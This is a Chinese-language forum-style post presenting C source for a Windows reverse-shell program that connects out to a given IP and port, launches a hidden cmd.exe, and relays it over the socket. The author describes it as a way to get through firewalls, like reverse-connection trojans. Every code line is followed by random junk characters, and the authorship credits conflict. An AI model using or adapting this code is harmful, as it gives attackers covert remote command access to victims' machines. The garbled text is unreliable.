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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qWQ7:*DL  
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/* ============================== oicj3xkw?  
Rebound port in Windows NT +[=yLE#P%  
By wind,2006/7 ;yc|=I ^  
===============================*/ Tb2Tb2C  
#include RR%[]M#_T  
#include Ab"mX0n  
%LL*V|  
#pragma comment(lib,"wsock32.lib") ylV.ZoY6  
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void OutputShell(); #4?(A[]>H  
SOCKET sClient; ndsu}:my  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z%F68 f73  
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void main(int argc,char **argv) |o:[*2-   
{ C*S%aR  
WSADATA stWsaData; 6{XdLI  
int nRet; Ar+<n 2;[  
SOCKADDR_IN stSaiClient,stSaiServer; ]>K02SVT:  
nA!Xb'y&  
if(argc != 3) ) <lpI';T  
{ dHcGe{T^(  
printf("Useage:\n\rRebound DestIP DestPort\n"); +<^TyIJ0  
return; ][ ,NNXrc&  
} 4. &t  
c:a5pd7T  
WSAStartup(MAKEWORD(2,2),&stWsaData); {29x5J  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !PaDq+fB  
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stSaiClient.sin_family = AF_INET; oic}Go  
stSaiClient.sin_port = htons(0); m4U7{sE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D92#&,KD  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N|pyp*8Z  
{ =,*4:TU  
printf("Bind Socket Failed!\n"); }]qx "  
return; 0(uNFyIG  
} xk1pZQ8c  
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stSaiServer.sin_family = AF_INET; vd4}b>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "S">#.L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J!%cHqR  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jh3LD6|s}  
{ `7;I*|  
printf("Connect Error!"); p'`SYEY@Z  
return; JG2)-x;9  
} `OY_v=}  
OutputShell(); 7[V6@K!Al[  
} rKP;T"?;  
WHV]H  
void OutputShell() .ZK|%VGW  
{ G 4jaHpPi  
char szBuff[1024]; n ..9F$a  
SECURITY_ATTRIBUTES stSecurityAttributes; [@Db7]nG  
OSVERSIONINFO stOsversionInfo; e[3 rz%'Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x*)@:W!  
STARTUPINFO stStartupInfo; (z[|\6O  
char *szShell; w85PRruW  
PROCESS_INFORMATION stProcessInformation; ++s=$D  
unsigned long lBytesRead; Wcgy:4K3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Lv;R8^n  
` "Gd/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uW.)(l  
stSecurityAttributes.lpSecurityDescriptor = 0; nDR)UR  
stSecurityAttributes.bInheritHandle = TRUE; G(alM=q  
u -CCUMR  
;2m<#~@0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0A~zu K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); . Q#X'j  
PV2cZ/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jLULf+ 8&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Sh>  
stStartupInfo.wShowWindow = SW_HIDE; iU5Aj:U3  
stStartupInfo.hStdInput = hReadPipe; 7p}.r J54  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G3j&8[  
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GetVersionEx(&stOsversionInfo); i;1EXM  
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switch(stOsversionInfo.dwPlatformId) sK#)wjj\^  
{ 9d7$Fz#  
case 1: py,B6UB5  
szShell = "command.com"; c3\z  
break; |eEcEu?/b  
default: d83K;Ryd  
szShell = "cmd.exe"; zc<C %t[~y  
break; xh7#\m_U8  
} [!@&t:A  
zc QFIP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NqsIMCl  
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send(sClient,szMsg,77,0); bK)gB!  
while(1) +4kBd<0Y  
{ ~W q[H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J?ljq A}i  
if(lBytesRead) ub |tX 'o  
{ MZt~ Abt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ! H)D@,@&  
send(sClient,szBuff,lBytesRead,0); !6t ()]  
} /f!CX|U  
else @"*8nV#  
{ x(e =@/qp  
lBytesRead=recv(sClient,szBuff,1024,0); LB<,(dyh  
if(lBytesRead<=0) break; B!vI^W  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c}nXMA^^  
} L0_qHLY  
} OUY 65K  
M(,npW  
return; #ii,GN~N  
}
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